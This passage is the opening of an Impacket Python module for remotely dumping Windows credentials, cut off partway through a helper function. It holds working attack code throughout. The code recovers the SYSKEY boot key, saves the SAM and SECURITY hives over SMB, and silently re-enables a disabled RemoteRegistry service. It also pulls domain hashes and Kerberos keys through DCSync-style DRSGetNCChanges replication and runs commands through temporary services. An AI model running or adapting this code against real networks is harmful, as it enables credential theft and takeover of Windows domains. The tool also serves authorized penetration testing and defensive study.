1# Copyright (c) 2003-2018 CORE Security Technologies
2#
3# This software is provided under a slightly modified version
4# of the Apache Software License. See the accompanying LICENSE file
5# for more information.
6#
7# Description: Performs various techniques to dump hashes from the
8#              remote machine without executing any agent there.
9#              For SAM and LSA Secrets (including cached creds)
10#              we try to read as much as we can from the registry
11#              and then we save the hives in the target system
12#              (%SYSTEMROOT%\\Temp dir) and read the rest of the
13#              data from there.
14#              For NTDS.dit we either:
15#                a. Get the domain users list and get its hashes
16#                   and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
17#                   call, replicating just the attributes we need.
18#                b. Extract NTDS.dit via vssadmin executed  with the
19#                   smbexec approach.
20#                   It's copied on the temp dir and parsed remotely.
21#
22#              The script initiates the services required for its working
23#              if they are not available (e.g. Remote Registry, even if it is
24#              disabled). After the work is done, things are restored to the
25#              original state.
26#
27# Author:
28#  Alberto Solino (@agsolino)
29#
30# References: Most of the work done by these guys. I just put all
31#             the pieces together, plus some extra magic.
32#
33# https://github.com/gentilkiwi/kekeo/tree/master/dcsync
34# http://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
35# http://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
36# http://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
37# http://www.quarkslab.com/en-blog+read+13
38# https://code.google.com/p/creddump/
39# http://lab.mediaservice.net/code/cachedump.rb
40# http://insecurety.net/?p=768
41# http://www.beginningtoseethelight.org/ntsecurity/index.htm
42# http://www.ntdsxtract.com/downloads/ActiveDirectoryOfflineHashDumpAndForensics.pdf
43# http://www.passcape.com/index.php?section=blog&cmd=details&id=15
44#
45import codecs
46import hashlib
47import logging
48import ntpath
49import os
50import random
51import string
52import time
53from binascii import unhexlify, hexlify
54from collections import OrderedDict
55from datetime import datetime
56from struct import unpack, pack
57
58from impacket import LOG
59from impacket import system_errors
60from impacket import winregistry, ntlm
61from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi
62from impacket.dcerpc.v5.dtypes import NULL
63from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
64from impacket.dcerpc.v5.dcom import wmi
65from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
66    VARIANT, VARENUM, DISPATCH_METHOD
67from impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
68    OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
69    IRemUnknown2, INTERFACE
70from impacket.ese import ESENT_DB
71from impacket.smb3structs import FILE_READ_DATA, FILE_SHARE_READ
72from impacket.nt_errors import STATUS_MORE_ENTRIES
73from impacket.structure import Structure
74from impacket.winregistry import hexdump
75from impacket.uuid import string_to_bin
76try:
77    from Crypto.Cipher import DES, ARC4, AES
78    from Crypto.Hash import HMAC, MD4
79except ImportError:
80    LOG.critical("Warning: You don't have any crypto installed. You need PyCrypto")
81    LOG.critical("See http://www.pycrypto.org/")
82
83
84# Structures
85# Taken from http://insecurety.net/?p=768
86class SAM_KEY_DATA(Structure):
87    structure = (
88        ('Revision','<L=0'),
89        ('Length','<L=0'),
90        ('Salt','16s=""'),
91        ('Key','16s=""'),
92        ('CheckSum','16s=""'),
93        ('Reserved','<Q=0'),
94    )
95
96# Structure taken from mimikatz (@gentilkiwi) in the context of https://github.com/CoreSecurity/impacket/issues/326
97# Merci! Makes it way easier than parsing manually.
98class SAM_HASH(Structure):
99    structure = (
100        ('PekID','<H=0'),
101        ('Revision','<H=0'),
102        ('Hash','16s=""'),
103    )
104
105class SAM_KEY_DATA_AES(Structure):
106    structure = (
107        ('Revision','<L=0'),
108        ('Length','<L=0'),
109        ('CheckSumLen','<L=0'),
110        ('DataLen','<L=0'),
111        ('Salt','16s=""'),
112        ('Data',':'),
113    )
114
115class SAM_HASH_AES(Structure):
116    structure = (
117        ('PekID','<H=0'),
118        ('Revision','<H=0'),
119        ('DataOffset','<L=0'),
120        ('Salt','16s=""'),
121        ('Hash',':'),
122    )
123
124class DOMAIN_ACCOUNT_F(Structure):
125    structure = (
126        ('Revision','<L=0'),
127        ('Unknown','<L=0'),
128        ('CreationTime','<Q=0'),
129        ('DomainModifiedCount','<Q=0'),
130        ('MaxPasswordAge','<Q=0'),
131        ('MinPasswordAge','<Q=0'),
132        ('ForceLogoff','<Q=0'),
133        ('LockoutDuration','<Q=0'),
134        ('LockoutObservationWindow','<Q=0'),
135        ('ModifiedCountAtLastPromotion','<Q=0'),
136        ('NextRid','<L=0'),
137        ('PasswordProperties','<L=0'),
138        ('MinPasswordLength','<H=0'),
139        ('PasswordHistoryLength','<H=0'),
140        ('LockoutThreshold','<H=0'),
141        ('Unknown2','<H=0'),
142        ('ServerState','<L=0'),
143        ('ServerRole','<H=0'),
144        ('UasCompatibilityRequired','<H=0'),
145        ('Unknown3','<Q=0'),
146        ('Key0',':'),
147# Commenting this, not needed and not present on Windows 2000 SP0
148#        ('Key1',':', SAM_KEY_DATA),
149#        ('Unknown4','<L=0'),
150    )
151
152# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm
153class USER_ACCOUNT_V(Structure):
154    structure = (
155        ('Unknown','12s=""'),
156        ('NameOffset','<L=0'),
157        ('NameLength','<L=0'),
158        ('Unknown2','<L=0'),
159        ('FullNameOffset','<L=0'),
160        ('FullNameLength','<L=0'),
161        ('Unknown3','<L=0'),
162        ('CommentOffset','<L=0'),
163        ('CommentLength','<L=0'),
164        ('Unknown3','<L=0'),
165        ('UserCommentOffset','<L=0'),
166        ('UserCommentLength','<L=0'),
167        ('Unknown4','<L=0'),
168        ('Unknown5','12s=""'),
169        ('HomeDirOffset','<L=0'),
170        ('HomeDirLength','<L=0'),
171        ('Unknown6','<L=0'),
172        ('HomeDirConnectOffset','<L=0'),
173        ('HomeDirConnectLength','<L=0'),
174        ('Unknown7','<L=0'),
175        ('ScriptPathOffset','<L=0'),
176        ('ScriptPathLength','<L=0'),
177        ('Unknown8','<L=0'),
178        ('ProfilePathOffset','<L=0'),
179        ('ProfilePathLength','<L=0'),
180        ('Unknown9','<L=0'),
181        ('WorkstationsOffset','<L=0'),
182        ('WorkstationsLength','<L=0'),
183        ('Unknown10','<L=0'),
184        ('HoursAllowedOffset','<L=0'),
185        ('HoursAllowedLength','<L=0'),
186        ('Unknown11','<L=0'),
187        ('Unknown12','12s=""'),
188        ('LMHashOffset','<L=0'),
189        ('LMHashLength','<L=0'),
190        ('Unknown13','<L=0'),
191        ('NTHashOffset','<L=0'),
192        ('NTHashLength','<L=0'),
193        ('Unknown14','<L=0'),
194        ('Unknown15','24s=""'),
195        ('Data',':=""'),
196    )
197
198class NL_RECORD(Structure):
199    structure = (
200        ('UserLength','<H=0'),
201        ('DomainNameLength','<H=0'),
202        ('EffectiveNameLength','<H=0'),
203        ('FullNameLength','<H=0'),
204# Taken from https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.h#L265
205        ('LogonScriptName','<H=0'),
206        ('ProfilePathLength','<H=0'),
207        ('HomeDirectoryLength','<H=0'),
208        ('HomeDirectoryDriveLength','<H=0'),
209        ('UserId','<L=0'),
210        ('PrimaryGroupId','<L=0'),
211        ('GroupCount','<L=0'),
212        ('logonDomainNameLength','<H=0'),
213        ('unk0','<H=0'),
214        ('LastWrite','<Q=0'),
215        ('Revision','<L=0'),
216        ('SidCount','<L=0'),
217        ('Flags','<L=0'),
218        ('unk1','<L=0'),
219        ('LogonPackageLength','<L=0'),
220        ('DnsDomainNameLength','<H=0'),
221        ('UPN','<H=0'),
222       # ('MetaData','52s=""'),
223       # ('FullDomainLength','<H=0'),
224       # ('Length2','<H=0'),
225        ('IV','16s=""'),
226        ('CH','16s=""'),
227        ('EncryptedData',':'),
228    )
229
230
231class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):
232    structure = (
233        ('Value','6s'),
234    )
235
236class SAMR_RPC_SID(Structure):
237    structure = (
238        ('Revision','<B'),
239        ('SubAuthorityCount','<B'),
240        ('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),
241        ('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),
242        ('SubAuthority',':'),
243    )
244
245    def formatCanonical(self):
246       ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5]))
247       for i in range(self['SubAuthorityCount']):
248           ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0])
249       return ans
250
251class LSA_SECRET_BLOB(Structure):
252    structure = (
253        ('Length','<L=0'),
254        ('Unknown','12s=""'),
255        ('_Secret','_-Secret','self["Length"]'),
256        ('Secret',':'),
257        ('Remaining',':'),
258    )
259
260class LSA_SECRET(Structure):
261    structure = (
262        ('Version','<L=0'),
263        ('EncKeyID','16s=""'),
264        ('EncAlgorithm','<L=0'),
265        ('Flags','<L=0'),
266        ('EncryptedData',':'),
267    )
268
269class LSA_SECRET_XP(Structure):
270    structure = (
271        ('Length','<L=0'),
272        ('Version','<L=0'),
273        ('_Secret','_-Secret', 'self["Length"]'),
274        ('Secret', ':'),
275    )
276
277# Classes
278class RemoteFile:
279    def __init__(self, smbConnection, fileName):
280        self.__smbConnection = smbConnection
281        self.__fileName = fileName
282        self.__tid = self.__smbConnection.connectTree('ADMIN$')
283        self.__fid = None
284        self.__currentOffset = 0
285
286    def open(self):
287        tries = 0
288        while True:
289            try:
290                self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess=FILE_READ_DATA,
291                                                   shareMode=FILE_SHARE_READ)
292            except Exception, e:
293                if str(e).find('STATUS_SHARING_VIOLATION') >=0:
294                    if tries >= 3:
295                        raise e
296                    # Stuff didn't finish yet.. wait more
297                    time.sleep(5)
298                    tries += 1
299                    pass
300                else:
301                    raise e
302            else:
303                break
304
305    def seek(self, offset, whence):
306        # Implement whence, for now it's always from the beginning of the file
307        if whence == 0:
308            self.__currentOffset = offset
309
310    def read(self, bytesToRead):
311        if bytesToRead > 0:
312            data =  self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
313            self.__currentOffset += len(data)
314            return data
315        return ''
316
317    def close(self):
318        if self.__fid is not None:
319            self.__smbConnection.closeFile(self.__tid, self.__fid)
320            self.__smbConnection.deleteFile('ADMIN$', self.__fileName)
321            self.__fid = None
322
323    def tell(self):
324        return self.__currentOffset
325
326    def __str__(self):
327        return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName)
328
329class RemoteOperations:
330    def __init__(self, smbConnection, doKerberos, kdcHost=None):
331        self.__smbConnection = smbConnection
332        if self.__smbConnection is not None:
333            self.__smbConnection.setTimeout(5*60)
334        self.__serviceName = 'RemoteRegistry'
335        self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
336        self.__rrp = None
337        self.__regHandle = None
338
339        self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
340        self.__samr = None
341        self.__domainHandle = None
342        self.__domainName = None
343
344        self.__drsr = None
345        self.__hDrs = None
346        self.__NtdsDsaObjectGuid = None
347        self.__ppartialAttrSet = None
348        self.__prefixTable = []
349        self.__doKerberos = doKerberos
350        self.__kdcHost = kdcHost
351
352        self.__bootKey = ''
353        self.__disabled = False
354        self.__shouldStop = False
355        self.__started = False
356
357        self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
358        self.__scmr = None
359        self.__tmpServiceName = None
360        self.__serviceDeleted = False
361
362        self.__batchFile = '%TEMP%\\execute.bat'
363        self.__shell = '%COMSPEC% /Q /c '
364        self.__output = '%SYSTEMROOT%\\Temp\\__output'
365        self.__answerTMP = ''
366
367        self.__execMethod = 'smbexec'
368
369    def setExecMethod(self, method):
370        self.__execMethod = method
371
372    def __connectSvcCtl(self):
373        rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
374        rpc.set_smb_connection(self.__smbConnection)
375        self.__scmr = rpc.get_dce_rpc()
376        self.__scmr.connect()
377        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
378
379    def __connectWinReg(self):
380        rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
381        rpc.set_smb_connection(self.__smbConnection)
382        self.__rrp = rpc.get_dce_rpc()
383        self.__rrp.connect()
384        self.__rrp.bind(rrp.MSRPC_UUID_RRP)
385
386    def connectSamr(self, domain):
387        rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
388        rpc.set_smb_connection(self.__smbConnection)
389        self.__samr = rpc.get_dce_rpc()
390        self.__samr.connect()
391        self.__samr.bind(samr.MSRPC_UUID_SAMR)
392        resp = samr.hSamrConnect(self.__samr)
393        serverHandle = resp['ServerHandle']
394
395        resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
396        resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
397        self.__domainHandle = resp['DomainHandle']
398        self.__domainName = domain
399
400    def __connectDrds(self):
401        stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
402                                     protocol='ncacn_ip_tcp')
403        rpc = transport.DCERPCTransportFactory(stringBinding)
404        rpc.setRemoteHost(self.__smbConnection.getRemoteHost())
405        rpc.setRemoteName(self.__smbConnection.getRemoteName())
406        if hasattr(rpc, 'set_credentials'):
407            # This method exists only for selected protocol sequences.
408            rpc.set_credentials(*(self.__smbConnection.getCredentials()))
409            rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
410        self.__drsr = rpc.get_dce_rpc()
411        self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
412        if self.__doKerberos:
413            self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
414        self.__drsr.connect()
415        # Uncomment these lines if you want to play some tricks
416        # This will make the dump way slower tho.
417        #self.__drsr.bind(samr.MSRPC_UUID_SAMR)
418        #self.__drsr = self.__drsr.alter_ctx(drsuapi.MSRPC_UUID_DRSUAPI)
419        #self.__drsr.set_max_fragment_size(1)
420        # And Comment this line
421        self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
422
423        if self.__domainName is None:
424            # Get domain name from credentials cached
425            self.__domainName = rpc.get_credentials()[2]
426
427        request = drsuapi.DRSBind()
428        request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
429        drs = drsuapi.DRS_EXTENSIONS_INT()
430        drs['cb'] = len(drs) #- 4
431        drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
432                         drsuapi.DRS_EXT_STRONG_ENCRYPTION
433        drs['SiteObjGuid'] = drsuapi.NULLGUID
434        drs['Pid'] = 0
435        drs['dwReplEpoch'] = 0
436        drs['dwFlagsExt'] = 0
437        drs['ConfigObjGUID'] = drsuapi.NULLGUID
438        # I'm uber potential (c) Ben
439        drs['dwExtCaps'] = 0xffffffff
440        request['pextClient']['cb'] = len(drs)
441        request['pextClient']['rgb'] = list(str(drs))
442        resp = self.__drsr.request(request)
443        if LOG.level == logging.DEBUG:
444            LOG.debug('DRSBind() answer')
445            resp.dump()
446
447        # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of
448        # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
449        drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
450
451        # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
452        ppextServer = ''.join(resp['ppextServer']['rgb']) + '\x00' * (
453        len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
454        drsExtensionsInt.fromString(ppextServer)
455
456        if drsExtensionsInt['dwReplEpoch'] != 0:
457            # Different epoch, we have to call DRSBind again
458            if LOG.level == logging.DEBUG:
459                LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
460                    'dwReplEpoch'])
461            drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
462            request['pextClient']['cb'] = len(drs)
463            request['pextClient']['rgb'] = list(str(drs))
464            resp = self.__drsr.request(request)
465
466        self.__hDrs = resp['phDrs']
467
468        # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
469        resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
470        if LOG.level == logging.DEBUG:
471            LOG.debug('DRSDomainControllerInfo() answer')
472            resp.dump()
473
474        if resp['pmsgOut']['V2']['cItems'] > 0:
475            self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
476        else:
477            LOG.error("Couldn't get DC info for domain %s" % self.__domainName)
478            raise Exception('Fatal, aborting')
479
480    def getDrsr(self):
481        return self.__drsr
482
483    def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
484                      formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
485        if self.__drsr is None:
486            self.__connectDrds()
487
488        LOG.debug('Calling DRSCrackNames for %s ' % name)
489        resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
490        return resp
491
492    def DRSGetNCChanges(self, userEntry):
493        if self.__drsr is None:
494            self.__connectDrds()
495
496        LOG.debug('Calling DRSGetNCChanges for %s ' % userEntry)
497        request = drsuapi.DRSGetNCChanges()
498        request['hDrs'] = self.__hDrs
499        request['dwInVersion'] = 8
500
501        request['pmsgIn']['tag'] = 8
502        request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
503        request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
504
505        dsName = drsuapi.DSNAME()
506        dsName['SidLen'] = 0
507        dsName['Guid'] = string_to_bin(userEntry[1:-1])
508        dsName['Sid'] = ''
509        dsName['NameLen'] = 0
510        dsName['StringName'] = ('\x00')
511
512        dsName['structLen'] = len(dsName.getData())
513
514        request['pmsgIn']['V8']['pNC'] = dsName
515
516        request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
517        request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
518
519        request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
520
521        request['pmsgIn']['V8']['ulFlags'] =  drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
522        request['pmsgIn']['V8']['cMaxObjects'] = 1
523        request['pmsgIn']['V8']['cMaxBytes'] = 0
524        request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
525        if self.__ppartialAttrSet is None:
526            self.__prefixTable = []
527            self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
528            self.__ppartialAttrSet['dwVersion'] = 1
529            self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)
530            for attId in NTDSHashes.ATTRTYP_TO_ATTID.values():
531                self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
532        request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
533        request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
534        request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
535        request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
536
537        return self.__drsr.request(request)
538
539    def getDomainUsers(self, enumerationContext=0):
540        if self.__samr is None:
541            self.connectSamr(self.getMachineNameAndDomain()[1])
542
543        try:
544            resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
545                                                    userAccountControl=samr.USER_NORMAL_ACCOUNT | \
546                                                                       samr.USER_WORKSTATION_TRUST_ACCOUNT | \
547                                                                       samr.USER_SERVER_TRUST_ACCOUNT |\
548                                                                       samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
549                                                    enumerationContext=enumerationContext)
550        except DCERPCException, e:
551            if str(e).find('STATUS_MORE_ENTRIES') < 0:
552                raise
553            resp = e.get_packet()
554        return resp
555
556    def ridToSid(self, rid):
557        if self.__samr is None:
558            self.connectSamr(self.getMachineNameAndDomain()[1])
559        resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid)
560        return resp['Sid']
561
562    def getMachineNameAndDomain(self):
563        if self.__smbConnection.getServerName() == '':
564            # No serverName.. this is either because we're doing Kerberos
565            # or not receiving that data during the login process.
566            # Let's try getting it through RPC
567            rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
568            rpc.set_smb_connection(self.__smbConnection)
569            dce = rpc.get_dce_rpc()
570            dce.connect()
571            dce.bind(wkst.MSRPC_UUID_WKST)
572            resp = wkst.hNetrWkstaGetInfo(dce, 100)
573            dce.disconnect()
574            return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][
575                                                                                      'wki100_langroup'][:-1]
576        else:
577            return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
578
579    def getDefaultLoginAccount(self):
580        try:
581            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
582            keyHandle = ans['phkResult']
583            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
584            username = dataValue[:-1]
585            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
586            domain = dataValue[:-1]
587            rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
588            if len(domain) > 0:
589                return '%s\\%s' % (domain,username)
590            else:
591                return username
592        except:
593            return None
594
595    def getServiceAccount(self, serviceName):
596        try:
597            # Open the service
598            ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
599            serviceHandle = ans['lpServiceHandle']
600            resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
601            account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
602            scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
603            if account.startswith('.\\'):
604                account = account[2:]
605            return account
606        except Exception, e:
607            # Don't log if history service is not found, that should be normal
608            if serviceName.endswith("_history") is False:
609                LOG.error(e)
610            return None
611
612    def __checkServiceStatus(self):
613        # Open SC Manager
614        ans = scmr.hROpenSCManagerW(self.__scmr)
615        self.__scManagerHandle = ans['lpScHandle']
616        # Now let's open the service
617        ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
618        self.__serviceHandle = ans['lpServiceHandle']
619        # Let's check its status
620        ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
621        if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
622            LOG.info('Service %s is in stopped state'% self.__serviceName)
623            self.__shouldStop = True
624            self.__started = False
625        elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
626            LOG.debug('Service %s is already running'% self.__serviceName)
627            self.__shouldStop = False
628            self.__started  = True
629        else:
630            raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
631
632        # Let's check its configuration if service is stopped, maybe it's disabled :s
633        if self.__started is False:
634            ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
635            if ans['lpServiceConfig']['dwStartType'] == 0x4:
636                LOG.info('Service %s is disabled, enabling it'% self.__serviceName)
637                self.__disabled = True
638                scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
639            LOG.info('Starting service %s' % self.__serviceName)
640            scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
641            time.sleep(1)
642
643    def enableRegistry(self):
644        self.__connectSvcCtl()
645        self.__checkServiceStatus()
646        self.__connectWinReg()
647
648    def __restore(self):
649        # First of all stop the service if it was originally stopped
650        if self.__shouldStop is True:
651            LOG.info('Stopping service %s' % self.__serviceName)
652            scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
653        if self.__disabled is True:
654            LOG.info('Restoring the disabled state for service %s' % self.__serviceName)
655            scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
656        if self.__serviceDeleted is False:
657            # Check again the service we created does not exist, starting a new connection
658            # Why?.. Hitting CTRL+C might break the whole existing DCE connection
659            try:
660                rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
661                if hasattr(rpc, 'set_credentials'):
662                    # This method exists only for selected protocol sequences.
663                    rpc.set_credentials(*self.__smbConnection.getCredentials())
664                    rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
665                self.__scmr = rpc.get_dce_rpc()
666                self.__scmr.connect()
667                self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
668                # Open SC Manager
669                ans = scmr.hROpenSCManagerW(self.__scmr)
670                self.__scManagerHandle = ans['lpScHandle']
671                # Now let's open the service
672                resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
673                service = resp['lpServiceHandle']
674                scmr.hRDeleteService(self.__scmr, service)
675                scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
676                scmr.hRCloseServiceHandle(self.__scmr, service)
677                scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
678                scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
679                rpc.disconnect()
680            except Exception, e:
681                # If service is stopped it'll trigger an exception
682                # If service does not exist it'll trigger an exception
683                # So. we just wanna be sure we delete it, no need to
684                # show this exception message
685                pass
686
687    def finish(self):
688        self.__restore()
689        if self.__rrp is not None:
690            self.__rrp.disconnect()
691        if self.__drsr is not None:
692            self.__drsr.disconnect()
693        if self.__samr is not None:
694            self.__samr.disconnect()
695        if self.__scmr is not None:
696            try:
697                self.__scmr.disconnect()
698            except Exception, e:
699                if str(e).find('STATUS_INVALID_PARAMETER') >=0:
700                    pass
701                else:
702                    raise
703
704    def getBootKey(self):
705        bootKey = ''
706        ans = rrp.hOpenLocalMachine(self.__rrp)
707        self.__regHandle = ans['phKey']
708        for key in ['JD','Skew1','GBG','Data']:
709            LOG.debug('Retrieving class info for %s'% key)
710            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
711            keyHandle = ans['phkResult']
712            ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
713            bootKey = bootKey + ans['lpClassOut'][:-1]
714            rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
715
716        transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
717
718        bootKey = unhexlify(bootKey)
719
720        for i in xrange(len(bootKey)):
721            self.__bootKey += bootKey[transforms[i]]
722
723        LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey))
724
725        return self.__bootKey
726
727    def checkNoLMHashPolicy(self):
728        LOG.debug('Checking NoLMHash Policy')
729        ans = rrp.hOpenLocalMachine(self.__rrp)
730        self.__regHandle = ans['phKey']
731
732        ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
733        keyHandle = ans['phkResult']
734        try:
735            dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
736        except:
737            noLMHash = 0
738
739        if noLMHash != 1:
740            LOG.debug('LMHashes are being stored')
741            return False
742
743        LOG.debug('LMHashes are NOT being stored')
744        return True
745
746    def __retrieveHive(self, hiveName):
747        tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
748        ans = rrp.hOpenLocalMachine(self.__rrp)
749        regHandle = ans['phKey']
750        try:
751            ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
752        except:
753            raise Exception("Can't open %s hive" % hiveName)
754        keyHandle = ans['phkResult']
755        rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
756        rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
757        rrp.hBaseRegCloseKey(self.__rrp, regHandle)
758        # Now let's open the remote file, so it can be read later
759        remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
760        return remoteFileName
761
762    def saveSAM(self):
763        LOG.debug('Saving remote SAM database')
764        return self.__retrieveHive('SAM')
765
766    def saveSECURITY(self):
767        LOG.debug('Saving remote SECURITY database')
768        return self.__retrieveHive('SECURITY')
769
770    def __smbExec(self, command):
771        self.__serviceDeleted = False
772        resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName,
773                                     lpBinaryPathName=command)
774        service = resp['lpServiceHandle']
775        try:
776            scmr.hRStartServiceW(self.__scmr, service)
777        except:
778            pass
779        scmr.hRDeleteService(self.__scmr, service)
780        self.__serviceDeleted = True
781        scmr.hRCloseServiceHandle(self.__scmr, service)
782
783    def __getInterface(self, interface, resp):
784        # Now let's parse the answer and build an Interface instance
785        objRefType = OBJREF(''.join(resp))['flags']
786        objRef = None
